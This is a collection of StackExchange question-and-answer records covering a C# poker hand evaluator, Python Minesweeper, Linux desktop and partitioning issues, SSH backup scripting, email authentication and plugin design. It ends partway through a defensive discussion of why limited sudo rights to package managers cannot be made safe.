{  "id": "_codereview.36841"  , "question": "This week's review challenge is a poker hand evaluator. I started by enumerating the possible hands:public enum PokerHands{    Pair,    TwoPair,    ThreeOfKind,    Straight,    Flush,    FullHouse,    FourOfKind,    StraightFlush,    RoyalFlush}Then I thought I was going to need cards... and cards have a suit...public enum CardSuit{    Hearts,    Diamonds,    Clubs,    Spades}...and a nominal value:public enum PlayingCardNominalValue{    Two,    Three,    Four,    Five,    Six,    Seven,    Eight,    Nine,    Ten,    Jack,    Queen,    King,    Ace}So I had enough of a concept to formally define a PlayingCard:public class PlayingCard {    public CardSuit Suit { get; private set; }    public PlayingCardNominalValue NominalValue { get; private set; }    public PlayingCard(CardSuit suit, PlayingCardNominalValue nominalValue)    {        Suit = suit;        NominalValue = nominalValue;    }}At this point I had everything I need to write my actual Poker hand evaluator - because the last time I implemented this (like, 10 years ago) it was in VB6 and that I'm now spoiled with .net, I decided to leverage LINQ here:public class PokerGame{    private readonly IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> _rules;    public IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> Rules { get { return _rules; } }    public PokerGame()    {        // overly verbose for readability        Func<IEnumerable<PlayingCard>, bool> hasPair =                               cards => cards.GroupBy(card => card.NominalValue)                                            .Count(group => group.Count() == 2) == 1;        Func<IEnumerable<PlayingCard>, bool> isPair =                               cards => cards.GroupBy(card => card.NominalValue)                                            .Count(group => group.Count() == 3) == 0                                       && hasPair(cards);        Func<IEnumerable<PlayingCard>, bool> isTwoPair =                               cards => cards.GroupBy(card => card.NominalValue)                                            .Count(group => group.Count() >= 2) == 2;        Func<IEnumerable<PlayingCard>, bool> isStraight =                               cards => cards.GroupBy(card => card.NominalValue)                                            .Count() == cards.Count()                                       && cards.Max(card => (int) card.NominalValue)                                         - cards.Min(card => (int) card.NominalValue) == 4;        Func<IEnumerable<PlayingCard>, bool> hasThreeOfKind =                               cards => cards.GroupBy(card => card.NominalValue)                                            .Any(group => group.Count() == 3);        Func<IEnumerable<PlayingCard>, bool> isThreeOfKind =                               cards => hasThreeOfKind(cards) && !hasPair(cards);        Func<IEnumerable<PlayingCard>, bool> isFlush =                               cards => cards.GroupBy(card => card.Suit).Count() == 1;        Func<IEnumerable<PlayingCard>, bool> isFourOfKind =                               cards => cards.GroupBy(card => card.NominalValue)                                            .Any(group => group.Count() == 4);        Func<IEnumerable<PlayingCard>, bool> isFullHouse =                               cards => hasPair(cards) && hasThreeOfKind(cards);        Func<IEnumerable<PlayingCard>, bool> hasStraightFlush =                               cards =>isFlush(cards) && isStraight(cards);        Func<IEnumerable<PlayingCard>, bool> isRoyalFlush =                               cards => cards.Min(card => (int)card.NominalValue) == (int)PlayingCardNominalValue.Ten                                       && hasStraightFlush(cards);        Func<IEnumerable<PlayingCard>, bool> isStraightFlush =                               cards => hasStraightFlush(cards) && !isRoyalFlush(cards);        _rules = new Dictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>>                     {                         { PokerHands.Pair, isPair },                         { PokerHands.TwoPair, isTwoPair },                         { PokerHands.ThreeOfKind, isThreeOfKind },                         { PokerHands.Straight, isStraight },                         { PokerHands.Flush, isFlush },                         { PokerHands.FullHouse, isFullHouse },                         { PokerHands.FourOfKind, isFourOfKind },                         { PokerHands.StraightFlush, isStraightFlush },                         { PokerHands.RoyalFlush, isRoyalFlush }                     };    }}"  , "title": "Poker Hand Evaluator Challenge"  , "tags": "c#;linq;weekend challenge;playing cards"  , "accepted_answer": "public enum PokerHandsThis type should be called in singular (PokerHand). When you have a variable of this type, it represents a single hand, not some collection of hands. Your other enums are named correctly in this regard.public enum CardSuitpublic enum PlayingCardNominalValueYou should be consistent. Either start both types with PlayingCard or both with Card. I prefer the former, because this is a playing card library, there is not much chance of confusion with credit cards or other kinds of cards.private readonly IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> _rules;public IDictionary<PokerHands, Func<IEnumerable<PlayingCard>, bool>> Rules { get { return _rules; } }I would use auto-property with private setter (like you did in PlayingCard) here. It won't enforce the readonly constraint, but I think shorter code is worth that here.Also, this pretty dangerous code, any user of this class can modify the dictionary. If you're using .Net 4.5, you could change the type to IReadOnlyDictionary (and if you wanted to avoid modifying by casting back to IDictionary, also wrap it in ReadOnlyDictionary).One more thing: I question whether IDictionary is actually the right type here. I believe that the common operation would be to find the hand for a collection of cards, not finding out whether a given hand matches the cards.// overly verbose for readabilityI agree that the lambdas are overly verbose, but I'm not sure it actually helps readability. What I don't like the most is all of the GroupBy() repetition. What you could do is to create an intermediate data structure that would contain the groups by NominalValue and anything else you need and then use that in your lambdas.Func<IEnumerable<PlayingCard>, bool> isStraight =                       cards => cards.GroupBy(card => card.NominalValue)                                    .Count() == cards.Count()                               && cards.Max(card => (int) card.NominalValue)                                 - cards.Min(card => (int) card.NominalValue) == 4;What is the cards.Count() supposed to mean? Don't there always have to be 5 cards? The second part of this lambda seems to indicate that."  } 
{  "id": "_unix.281024"  , "question": "Eclipse scrolling happens with unbearable jitter, whereas other X applications (e.g. Google Chrome) behave more smoothly, what could be the cause? Why would Eclipse be different from other apps?$ lsb_release -aDistributor ID: DebianDescription:    Debian GNU/Linux testing-updates (sid)Release:        testing-updatesCodename:       sid$ gnome-shell --versionGNOME Shell 3.18.1$ uname -aLinux thinkpad 4.5.0-1-amd64 #1 SMP Debian 4.5.1-1 (2016-04-14) x86_64 GNU/Linux$ Xorg -versionX.Org X Server 1.18.3Release Date: 2016-04-04$ cat .eclipseproductversion=4.5.2I istalled TrackPoint support for backports kernels in Jessie or later using these instructions: https://wiki.debian.org/InstallingDebianOn/Thinkpad/Trackpoint (namely, I created the recommended /usr/share/X11/xorg.conf.d/20-thinkpad.conf file, which allows both vertical and horizontal scrolling)"  , "title": "Jittery ThinkPad TrackPoint scrolling in Debian / X / GNOME using Eclipse Mars"  , "tags": "debian;gnome;thinkpad;eclipse"  } 
{  "id": "_unix.185282"  , "question": "There are various servers with various OS, we cannot touch the PS1 of them. There is a sysadmin notebook, having CentOS 6.5/GNOME, so using gnome-terminal. We log in via SSH to the servers in gnome-terminal. Question: How can we modify the given gnome-terminals name (can have several tabs) to the remote machines name? It is working sometimes.. on ex.: Ubuntu servers, but looks like not working by default on older servers.."  , "title": "How to set gnome-terminal to the remove server name without touching PS1?"  , "tags": "ssh;gnome terminal"  } 
{  "id": "_unix.89216"  , "question": "We define idle based on how screen savers in Linux define it.I found this tool called xautolock.I tested it like this:/usr/X11R6/bin/xautolock -time 1 -locker notify-send testI placed this in /etc/rc.d/rc.local, but for some reason it was not working and I couldn't debug it.Someone said to place it in .bash_profile. I found this file and placed it in there, but now my GUI won't start.Because this command is a forever command, it always listens once executed. It never stops listening in order to determine idleness, so this means it can not go into .bash_profile.I do not know how to place it in to /etc/rc.d/rc.local, so where can it go if it can not go into these files?Perhaps there is a way to modify it so it can go into /etc/rc.d/rc.local? Perhaps something like:DISPLAY=:0.0 /usr/X11R6/bin/xautolock -time 1 -locker notify-send testWould that work?I'm on CentOS and GNOME."  , "title": "How to shut down Linux if idle for 30+ minutes?"  , "tags": "startup;shutdown"  , "accepted_answer": "You can't place it in rc.local because it will require a running X session and rc.local is usually executed before or during starting X. Also the DISPLAY variable would have to be set as you already figured out correctly.If you want to place it in your .bash_profile then just put a & at the end to run it in the background."  } 
{  "id": "_softwareengineering.134920"  , "question": "While some platform in some languages already address this issue, I would like to keep this semi-language agnostic and to focus on patterns associated with this issue.I have a data model that contains FirstName, MiddleName, and LastName (to keep things simple).  First and Last names are required and may have other rules to ensure their validity.  Middle name is optional.By default, the model is empty and thus, invalid.When a value changes, an event can be triggered to validate the field that changed.My question is what patterns can be used to best manage the state of the object since, based on the scenario, I'm doing field level validation.  Should I move to model level validation on field change which would address the state issue or is there an alternate way?  "  , "title": "Patterns for Maintaining Model State in Real Time"  , "tags": "design patterns;language agnostic"  , "accepted_answer": "This is a common problem in data validation; When entering new data into the system, before any information is entered by the user, the default working state of the object (mostly nulls) is an invalid state for virtually all other processes of your system.Validation is always context-dependent. If you have, for instance, a business requirement that all entered people records must have at least a first and last name, then neither field-level validation (which would only be run when setting a field, and so would not catch a failure to set the other field), nor model-level validation (which, if invoked real-time, would return a validation error for this rule when entering the first name because the last name is invalid) would work all the time when implemented naively.Instead, your domain model has to be made intelligent enough to know when it is ok to be in an inconsistent state, and when it is not. Usually, this is accomplished by providing some sort of scope or context identifier into your validation routines:When entering a single field, you can, and should, only validate rules the define the behavior of that single field. You simply cannot require the user to enter a last name when they are attempting to specify a first name in a new record, and vice-versa.At certain points, you may know that a subset of your object should now be in a consistent state. This may happen when filling out a multi-page form and attempting to continue to the next page; at that point, you may validate rules that involve one or more fields on the current page. This includes all field-level validations, but also additional multi-field validations, such as making sure date ranges composed of a start and end date are valid (end date after start date for instance), and that a person has both a first and last name. Sometimes, if one page's data depends on data in a previous page, you may be able to make these validations as well, but in that case those validations should not prevent a person going backwards to fix a mistake; it should only prevent the user continuing now that there is an obvious inconsistency. Understand that allowing real-time validation of values within a page or across multiple pages may introduce undesirable coupling; the validation rules must incorporate logic that is dependent on the structure of the View layer.Finally, when persisting an object (or retrieving it from persistence for use behind the scenes), it must be wholly consistent. That includes all field validations, all page-level validations, and additionally all rules involving data spread across multiple pages.Rules that the model must meet at one of these levels may prevent proper execution of the program when run at a lower level. It is often possible to include the scope or level of validation in a suite of rules that can be run with one method call, thus allowing the rule to pass if the data is consistent enough for a particular level of validation. However, doing so often couples the domain (or controller) to a very specific View, making the design brittle; if you want to move a field to a different page of the View, the validation routines back in the controller or data model may have to change to reflect this. There may not be a good way around this if you want to validate each rule as soon as possible."  } 
{  "id": "_codereview.33548"  , "question": "I have recently written this Minesweeper game in Python:import randomclass Cell(object):    def __init__(self, is_mine, is_visible=False, is_flagged=False):        self.is_mine = is_mine        self.is_visible = is_visible        self.is_flagged = is_flagged    def show(self):        self.is_visible = True    def flag(self):        self.is_flagged = not self.is_flagged    def place_mine(self):        self.is_mine = Trueclass Board(tuple):    def __init__(self, tup):        super().__init__()        self.is_playing = True    def __str__(self):        board_string = (Mines:  + str(self.remaining_mines) + \\n   +                        .join([str(i) for i in range(len(self))]))        for (row_id, row) in enumerate(self):            board_string += \\n + str(row_id) +              for (col_id, cell) in enumerate(row):                if cell.is_visible:                    if cell.is_mine:                        board_string += M                    else:                        board_string += str(self.count_surrounding(row_id,                                                                   col_id))                elif cell.is_flagged:                        board_string += F                else:                    board_string += X            board_string +=   + str(row_id)        board_string += \\n   + .join([str(i) for i in range(len(self))])        return board_string    def show(self, row_id, col_id):        if not self[row_id][col_id].is_visible:            self[row_id][col_id].show()            if (self[row_id][col_id].is_mine and not                self[row_id][col_id].is_flagged):                self.is_playing = False            elif self.count_surrounding(row_id, col_id) == 0:                [self.show(surr_row, surr_col) for (surr_row, surr_col) in                 self.get_neighbours(row_id, col_id) if                 self.is_in_range(surr_row, surr_col)]    def flag(self, row_id, col_id):        if not self[row_id][col_id].is_visible:            self[row_id][col_id].flag()        else:            print(Cannot add flag, cell already visible.)    def place_mine(self, row_id, col_id):        self[row_id][col_id].place_mine()    def count_surrounding(self, row_id, col_id):        count = 0        for (surr_row, surr_col) in self.get_neighbours(row_id, col_id):            if (self.is_in_range(surr_row, surr_col) and                self[surr_row][surr_col].is_mine):                count += 1        return count    def get_neighbours(self, row_id, col_id):        SURROUNDING = ((-1, -1), (-1,  0), (-1,  1),                       (0 , -1),           (0 ,  1),                       (1 , -1), (1 ,  0), (1 ,  1))        neighbours = []        for (surr_row, surr_col) in SURROUNDING:            neighbours.append((row_id + surr_row, col_id + surr_col))        return neighbours    def is_in_range(self, row_id, col_id):        return 0 <= row_id < len(self) and 0 <= col_id < len(self)    @property    def remaining_mines(self):        remaining = 0        for row in self:            for cell in row:                if cell.is_mine:                    remaining += 1                if cell.is_flagged:                    remaining -= 1        return remaining    @property    def is_solved(self):        for row in self:            for cell in row:                if not(cell.is_visible or cell.is_flagged):                    return False        return Truedef create_board(size, mines):    board = Board(tuple([tuple([Cell(False) for i in range(size)])                         for j in range(size)]))    available_pos = list(range((size-1) * (size-1)))    for i in range(mines):        new_pos = random.choice(available_pos)        available_pos.remove(new_pos)        (row_id, col_id) = (new_pos % 9, new_pos // 9)        board.place_mine(row_id, col_id)    return boarddef get_move(board):    INSTRUCTIONS = (First, enter the column, followed by the row. To add or                     remove a flag, add \\f\\ after the row (for example, 64f                     would place a flag on the 6th column, 4th row). Enter                     your move: )    move = input(Enter your move (for help enter \\H\\): )    if move == H:        move = input(INSTRUCTIONS)    while not is_valid(move, board):        move = input(Invalid input. Enter your move (for help enter \\H\\): )        if move == H:            move = input(INSTRUCTIONS)    return (int(move[1]), int(move[0]), True if move[-1] == f else False)def is_valid(move_input, board):    if move_input == H or (len(move_input) not in (2, 3) or                             not move_input[:1].isdigit() or                             int(move_input[0]) not in range(len(board)) or                             int(move_input[1]) not in range(len(board))):        return False    if len(move_input) == 3 and move_input[2] != f:        return False    return Truedef main():    SIZE = 10    MINES = 9    board = create_board(SIZE, MINES)    print(board)    while board.is_playing and not board.is_solved:        (row_id, col_id, is_flag) = get_move(board)        if not is_flag:            board.show(row_id, col_id)        else:            board.flag(row_id, col_id)        print(board)    if board.is_solved:        print(Well done! You solved the board!)    else:        print(Uh oh! You blew up!)if __name__ == __main__:    main()I am currently aware that when counting remaining_mines, the property function runs each time, whereas it would have been more efficient only adding and subtracting from the mine count when a mine or flag is placed.When I implemented this, however, it looked quite messy, so I chose readability over performance. Was this the right decision? I also think the for a in b: for c in a: which are repeated throughout the code could be cleaned up. Finally, I wasn't sure whether to use a list comprehension or a normal loop in the final elif of Board.show().Have you got any answers to my questions, or any general tips on how to improve the performance or readability?"  , "title": "Minesweeper in Python"  , "tags": "python;game;minesweeper"  } 
{  "id": "_unix.209534"  , "question": "Linux Mint 17.1 (MATE) running on HP G250 Laptop and older HP desktops.  It's just me and the dog at home and I like to run the computer all day, but it keeps returning to the login screen after a few minutes of inactivity.  Typing the long secure password all day gets tiring and I'd like to at least lengthen the time, or even stop the timeout alltogether. "  , "title": "How to avoid system timeout to login screen when I make a cup of tea?"  , "tags": "linux mint;mate;timeout;screensaver;screen lock"  } 
{  "id": "_scicomp.8769"  , "question": "I have a need to get a variable value from another process rank of which I know. This happens in context of a parallel solver of a A x = b equation, for which process with rank 0 knows matrix A, and the other processes put some values (i,j) from this matrix into the matrix of a parallel solver data type (Petsc's Mat). This means that these other processes walk through the range delegated to them, calculate i and j, retrieve ij's element, and call MatSetValue. There is no way to avoid such way - it is a finite differencing method and the parent process has variable values in central points and in neighbouring points (left,right,top,bottom) For example the same happens in ex13F90.F in petsc library examples.The problem is that I don't know a proper MPI subroutine to retrieve the a_central, a_top, a_bottom, ..., values from the parent processes. Right now I tried to broadcast them (MPI_Bcast) but this means that each process has the entire matrix and runs out of memory.Per the answer below, the essence of this question is How do I do one-sized MPI communication?..."  , "title": "mpi retrieve a variable value from process with known rank to process that made an mpi_something call"  , "tags": "petsc;mpi"  } 
{  "id": "_unix.45198"  , "question": "I used the uuid command from the uuid-1.6.2-8.fc17.x86_64 package to generate version 1 UUIDs. The man page said that the default is to use the real MAC address of the host, but when I decoded the generated UUID, it is using the local multicast address. uuid v 1 shows:5fc2d464-e1f8-11e1-9c3d-ff8beec65651Decoding with uuid -d 5fc2d464-e1f8-11e1-9c3d-ff8beec65651 shows:encode: STR:     c7ee12de-e1f7-11e1-99f1-53d638ec6296        SIV:     265752520555487307909286258714002350742decode: variant: DCE 1.1, ISO/IEC 11578:1996        version: 1 (time and node based)        content: time:  2012-08-09 07:56:52.526563.0 UTC                 clock: 6641 (usually random)                 node:  53:d6:38:ec:62:96 (local multicast)How can I make it use my actual MAC address, and my time zone (Asia/Tehran, not UTC)?"  , "title": "UUID based on global MAC address"  , "tags": "mac address;uuid"  , "accepted_answer": "The reason it's not using your actual MAC address is because the code is poorly written.  The mac_address function in uuid_mac.c has this block of code:    if ((s = socket(PF_INET, SOCK_DGRAM, 0)) < 0)        return FALSE;    sprintf(ifr.ifr_name, eth0);    if (ioctl(s, SIOCGIFHWADDR, &ifr) < 0) {        close(s);        return FALSE;    }It's looking for the MAC address of the eth0 interface, and silently falling back to a randomly-generated local multicast address if it can't find it.  If your network interface is called eth1 or wlan0 or anything else, it fails to find it.I would consider this a bug in the software.  It should use the MAC address of the hardware interface corresponding to the current default route, and let the user specify an alternate interface if desired.  I'd recommend reporting that upstream.Regarding timezone: the UUID doesn't store the timezone.  The time information in the UUID is stored as UTC time, and so that's how uuid -d displays it.  An enhancement to the uuid program might be to provide an option to display times according to the local timezone when decoding -- but either way, that info doesn't get stored inside the UUID itself."  } 
{  "id": "_codereview.127612"  , "question": "I was recently tasked with architecting a user/profile object in Objective-C and wanted the ability to access a static instance from the class level, similar in style to the way Parse manages their current user (a static variable on a class, not a singleton).  With Parse, I can call a class method to return the current user object if a user is logged in, or nil if there is no current user session with [PFUser currentUser].I architected my class like so:User.h@interface User : NSObject/// Returns the current user if logged in, or nil if logged out+ (User *)currentUser;/// Sets the current user, call this on login+ (void)setCurrentUser:(NSDictionary *)userInfo;/// Removes the current user, call this on logout+ (void)removeCurrentUser;// Getters/// Returns the user's name if logged in, nil if logged out@property (nonatomic, readonly, strong) NSString *name;@endUser.m@interface User ()@property (nonatomic, readwrite, strong) NSString *name;@property (nonatomic, strong) NSString *address;@end@implementation User#pragma mark - Static Variablesstatic User *currentUser;#pragma mark - Static Object Setters and Getters+ (User *)currentUser{    return currentUser;}+ (void)setCurrentUser:(NSDictionary *)userInfo{    currentUser = [[User alloc] initWithDictionary:userInfo];}+ (void)removeCurrentUser{    currentUser = nil;}#pragma init- (instancetype)initWithDictionary:(NSDictionary *)userInfo{    self = [super init];    if (self) {        NSString *name = userInfo[@name];        NSString *address = userInfo[@address];        if (!name || !address ) { return nil; }        _name = name;        _address = address;    }    return self;}@endThis works well.  I have a single static User instance which can be non-nil if a user is logged in, and nil if the user is logged out.  I can access this object from anywhere with [User currentUser] without a singleton.Now as an additional challenge I'm trying to translate this type of pattern into Swift.  Here is my fist pass:public class User {    // Private Properties    private var name: String?    private var address: String?    // Private instance of User    private static var user: User?    // Class Functions    public class func currentUser() -> User? {        return self.user    }    public class func setCurrentUser(userInfo: [String : AnyObject]) {        self.user = User(dictionary: userInfo)    }    public class func removeCurrentUser() {        self.user = nil    }    // Instance methods    public func getName() -> String? {        return self.name    }    // Private    private convenience init?(dictionary: [String : AnyObject]) {        self.init()        guard let name = dictionary[name] as? String else { return nil }        guard let address = dictionary[address] as? String else { return nil }        self.name = name        self.address = address    }}This works but doesn't feel Swifty enough.Questions:Is there a way to expose a public getter on a private property (sort of like a property redeclaration through a class extension in Objective-C)?  Or do I need to write an additional accessor.Does declaring my private User object as private static ensure that it can only be accessed on the class level and not on the instance level?  Is this variable really static like it would be in C or Objective-C?Can a User setter and getter be added/modified to remove the need for setCurrentUser and removeCurrentUser?I am open to optimizations in both my Swift and Objective-C code."  , "title": "Current user as a class-level property in Objective-C and Swift"  , "tags": "object oriented;objective c;swift;static"  } 
{  "id": "_reverseengineering.13286"  , "question": "I have an IDAPython script x.py which takes some arguments, which prevents me from simply using alt + F7 and selecting my script.How can I execute this script within IDA Pro and specify the arguments for the script?"  , "title": "Executing an IDAPython script with arguments within IDA Pro"  , "tags": "ida;idapython;idapro plugins"  , "accepted_answer": "Naturally, the best way would be editing the script and have it ask the user for those parameters. IDA has quite a few ways of doing that. You could use one or several of the many idc.Ask* functions. Such as: AskYN, AskLong, AskSelector, AskFunction, AskFile and others. Sometimes when multiple input parameters are needd, it becomes inconvenient to ask for many speciif values, you could then create a full blown dialog instead.You could create a new process using popen or something similar, but I can't say I recommend doing that.If depends on how the python script you're trying to execute is implemented, but you're probably better off trying to include/import it in one pythonic way or another.Importing a protected moduleIf the script is properly written, it probably wraps any execution functionality with an if __name__ == __main__ clause, protecting such cases as executing when imported. If that's the case, simply import it with an import modulename and then call its main/whatever.Importing a sys.argv moduleIf the module directly uses sys.argv and you cannot/would not prevent it from doing so, you can mock your sys.argv before importing the module. Simply doing something like the following should work:sys.argv = ['./script.py', 'command', 'parameter1', 'parameter2', 'optional']import scriptCalling execfile of the fileIf neither of those approaches works for you, you can always directly call execfile and completely control the context in which the python script is executed. You should read the documentation of execfile and eval here and here, respectively."  } 
{  "id": "_webmaster.81038"  , "question": "We're having issues with spam filters with our emails. They're not being received by our clients about half of the time. We decided to make sure the SPF and DKIM are correctly set.Suppose I have a hosting with some external domains purchased and linked here.Now, suppose that we're externalising the email management to Google Apps, where we have the main domain as the only company domain, but are also using secondary domains from Gmail, and directly contacting the hosting SMTP server. Others are simply domains purchased that act as an alias of the main domain (though inside the GMail accounts they aren't considered as Alias).With that in mind, I'm having a huge trouble making this work. This is the current situation:Emails sent with the main domain are correctly authenticated.Emails sent with hosting-stmp handled might not be authenticated, but seem to work well.Emails sent with aliased accounts are sent, but via main domain.I've set include:_spf.google.com as a SPF in the hosting panel, per domain. But to which servers should I add the DKIM from Google Apps? To the main domain, all of them? I've set it to the main domain and it seems to work as always."  , "title": "Where to place the SPF records and Google Apps DKIM on a multidomain website?"  , "tags": "email;multiple domains;google apps;spf;dkim"  } 
{  "id": "_cogsci.8640"  , "question": "What physiological changes are seen in the brain when a person is experiencing frustration? What effects do these changes have on learning?Optional background:I'm trying to figure out an exploration schedule (exploration = increasing the noise in the action selection neural population) for Hierarchical Reinforcement Learning and I'm wondering if there's an easy way to base it biologically."  , "title": "Physiological mapping of frustration"  , "tags": "neurobiology;learning;emotion;physiology"  } 
{  "id": "_softwareengineering.123146"  , "question": "I'm starting a hobby project and I'm in the middle of designing its architecture. I would like to make my program plugin-based (never done anything like that before), to make it extensible. Now I'm trying to grasp how such an architecture is created conceptually.Now, this wikipedia article about Plugins says that the host application is supposed to provide a protocol service (among other things) to establish how data is exchanged with the plugin. I don't really understand this tidbit, what does that mean? What kind of data actually needs to be exchanged?EDIT: Just to be clear, I'm not looking for implementation specifics, but for a clear explanation of the mechanism, that the wikipedia article presents. As it stands now, I have no idea what the purpose of a protocol in a plugin-based application is.I figured, the plugin could just fetch relevant data from outside the application on its own and present it to the user, without directly involving the application. What would be the purpose of establishing a protocol for data exchange?It's a desktop application, which will be written mainly in Java, thus object-oriented. The application at its core mainly provides an interface for plugins to register itself in the application and a plugin-manager, which interacts with the plugin."  , "title": "Designing a plugin-based architecture - what is a protocol service supposed to provide to a plugin?"  , "tags": "architecture;plugins;protocol"  , "accepted_answer": "In my view, plugins are sharing the same address space (& process) as the receiving application and involve dynamic linking.In Linux parlance, I think that a plugin is a dynamically loaded shared object which is dlopen-ed by the application.Then the application has to define what dlsym-ed symbols are expected by the application in the plugin, and how they interact with (i.e. how they are called by) the application.A concrete exemple is given by Gcc plugins (I'm working on MELT, a high-level domain specific language to extend GCC, implemented as a [meta-] plugin); as the document explains, it define some set of conventions that you would call a protocol serviceAdded:So the plugin protocol is the set of conventions (and associated API and names) defining how the plugin is installed, and which plugin's functions (and names) are expected, in what order and conditions they are invoked by the application, and which application data and API the plugin can access (and modify)."  } 
{  "id": "_unix.289932"  , "question": "I found this expression for a homework assignment that will print all lines containing a vowel (a, e, i, o, or u) followed by a single character followed by the same vowel again. Thus, it will find eve or adam but not vera. The expression works correctly but I am looking for someone who can explain what each part does so I can further understand how it works."  , "title": "Can anyone explain this expression piece by piece please? grep '\\([aeiou]\\).\\1'"  , "tags": "grep"  } 
{  "id": "_unix.186750"  , "question": "I shrunk my root partition and it seems nice. But I am thinking about overwriting now at least the most important files from the backup copy (external drive, rsync, weekly backup) in order to be sure that none of my files got corrupted during the shrinking. That is probably a waste of time (and perhaps it may result in more fragmentation). I can check that the files are OK after moving them during the shrinking by means of a CRC comparison with those in the backup (e.g. with md5sum) as one unser kindly says in his answer.But specifically I would like a short explanation on the algorithm that GNU Parted uses in order to ensure that no data corruption happens while moving information from one sector of the disk to another, prior to the shrinking of the partition. Is there such algorithm, or the program copies bytes blindly? I would like to read a simple explanation."  , "title": "Why can I rest assured that GNU Parted has not corrupted a single bit after shrinking my partition?"  , "tags": "partition;gparted;parted;corruption;integrity"  , "accepted_answer": "Why can I rest assured that GNU Parted has not corrupted a single bit  after shrinking my partition?You can't, in fact,  gparted man page clearly says (under NOTES):Editing partitions has the potential to cause LOSS of DATA.......You are advised to BACKUP your DATA before using the gparted application.Reboot your system after resizing the partition and run fsck. If it doesn't find any errors then the operation was successful and the data is intact.There have been issues in the past with gparted corrupting data when resizing partitions even though it wasn't reporting any error (e.g. see this thread on their forum and the warning linked there).When resizing, (g)parted only moves the END position of partition NUMBER. It does not modify any filesystem present in the partition. Underneath, gparted uses fs specific tools to grow/shrink the filesystem.You can get detailed information for each operation, as per the online manual:To view more information, click Details. The application displays more details about operations.To view more information about the steps in each operation, click the arrow button beside each step. Let's see what it actually does when shrinking an ext4 partition (skipping the calibrate&fsck steps):shrink file system  00:00:02    ( SUCCESS )resize2fs -p /dev/sdd1 409600KResizing the filesystem on /dev/sdd1 to 409600 (1k) blocks.Begin pass 3 (max = 63)Scanning inode table XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXThe filesystem on /dev/sdd1 is now 409600 (1k) blocks long.resize2fs 1.42.12 (29-Aug-2014)As you can see, gparted does nothing, it just calls resize2fs -p with the specified device and new size as arguments. If you're interested in the algorithm you could look at resize2fs.c. In short:Resizing a filesystem consists of the following phases:1.  Adjust superblock and write out new parts of the inode table2.  Determine blocks which need to be relocated, and copy the    contents of blocks from their old locations to the new ones.3.  Scan the inode table, doing the following:       a.  If blocks have been moved, update the block              pointers in the inodes and indirect blocks to              point at the new block locations.       b.  If parts of the inode table need to be evacuated,              copy inodes from their old locations to their              new ones.       c.  If (b) needs to be done, note which blocks contain              directory information, since we will need to              update the directory information.4.  Update the directory blocks with the new inode locations.5.  Move the inode tables, if necessary.Filesystem resizing should be a safe operation, as per one of the authors, Ted Tso:resize2fs is designed not to corrupt data even if someone hits the Big  Red switch while it is operating.  That was an explicit design goal.but like all code, it isn't bug-free.Once fs resize is done, gparted shrinks the partition:shrink partition from 500.00 MiB to 400.00 MiB  00:00:00    ( SUCCESS )old start: 2048old end: 1026047old size: 1024000 (500.00 MiB)new start: 2048new end: 821247new size: 819200 (400.00 MiB)Bottom line: always backup your data before altering partitions/filesystems and run fsck after making the changes."  } 
{  "id": "_unix.223232"  , "question": "I'm doing a bash script to backup my computer to a local server. I need to compress the archives but I can't find a way to make this if condition work with an ssh command inside:if [ ssh user@192.168.1.5 '$(ls -d /snapshots/$(date -v -7d +%Y%m%d)* 2> /dev/null | wc -l) != 0' ]then    ssh user@192.168.1.5 tar -czf $ARCHIVES_DIR/$YESTERDAY.tar.gz $SNAPSHOT_DIR/$YESTERDAY* \\    && rm -rf $SNAPSHOT_DIR/$YESTERDAY*fiI've got a Too many arguments (inside the if) error.What am I doing wrong?"  , "title": "If condition with ssh command inside"  , "tags": "shell script;test"  , "accepted_answer": "I'd suggest you simplify the construct and give the next person reading the code a chance to see what's going on. Your main issue is that you seem to be confusing your indirect execution $( ... ) with [ ... ] as a test operator. Apologies if I've misunderstood the flow, but I think this is what you intend:# Count files on the remote system and confirm that there is at least oneDATE7=$(date -v -7d '+%Y%m%d')NFILES=$(ssh user@192.168.1.5 ls -d '/snapshots/$DATE7'* 2> /dev/null | wc -l)# If the ssh worked and we have found files then archive themif [ $? -eq 0 && 0 -lt $NFILES ]then    # Archive the files    ssh user@192.168.1.5         tar -czf '$ARCHIVES_DIR/$YESTERDAY.tar.gz' '$SNAPSHOT_DIR/$YESTERDAY'* &&        rm -rf '$SNAPSHOT_DIR/$YESTERDAY'    fiThis supposes that ARCHIVES_DIR, SNAPSHOT_DIR and YESTERDAY are defined locally elsewhere in your script.Remember that ... will interpolate variables' values immediately, whereas '...' will treat text such as $WIDGET as a literal seven character string starting with a dollar symbol. This is important to note given I have got sequences like  '...'  and ' ... ' in this code."  } 
{  "id": "_unix.206633"  , "question": "Assume you can install something on a system because you have sudo rights to do so, but only have sudo rights for the installer. In that case it is fairly easy to create a package that installs a binary owned by root that has the setuid bit set during installation, and have that binary execute any command that you feed it, as root. This makes it insecure to allow   limited sudo access for any given user to a package that can arbitrarily change change permissions. The other obvious (IMO) security hole is that a package can update the /etc/sudoers file and grant the user all kind of additional rights.As far as I know apt-get nor yum have an option that you can set, or check how they are invoked, that causes what is installed in the normal, default, locations, but  in a  limited way (e.g. not overwriting already available files, or not setting setuid bits). Did I miss something and does installation with such restrictions exists? Is it available in other installers? Or are there other known workarounds that would make such restrictions ineffective (and implementing them a waste of time)?"  , "title": "Disallow `apt-get`, `yum` to install setuid binaries when itself run via sudo"  , "tags": "software installation;sudo;account restrictions"  , "accepted_answer": "This is probably doable with an SELinux policy (and probably not doable without SELinux or other a security module that can confine root), but it's pointless.As you note, a package could declare that it installs /etc/sudoers. Even if you make an ad hoc rule to somehow prevent that, the package could drop a file in /etc/sudoers.d. Or it could drop a file in /etc/profile.d, to be read the next time any user logs in. Or it could add a service that's started by root at boot time. The list goes on and on; it's unmanageable, and even if you caught the problematic cases, you'd have prevented so many packages from installing that you might as well not bother (for example, that facility wouldn't allow most security updates). Another thing the package could do is to install a program that you'd be tricked into using later (for example, if you forbid write access to /bin altogether, it could install /usr/local/bin/ls) and which injects a backdoor via your account the next time you invoke the program. To prevent a package installation from injecting a potential security hole, you need to either restrict the installation to trusted packages, or to make sure you never use the installed packages.Basically, if you don't trust a user, then you can't let them install arbitrary packages on your system. Let them install software in their home directory if they need something that isn't in the distribution.If you want to give an untrusted user the ability to install more packages (from a predefined list of sources that you approve as safe) or upgrade existing packages on the main system, that can be safe, but you need to take precautions, in particular to disable 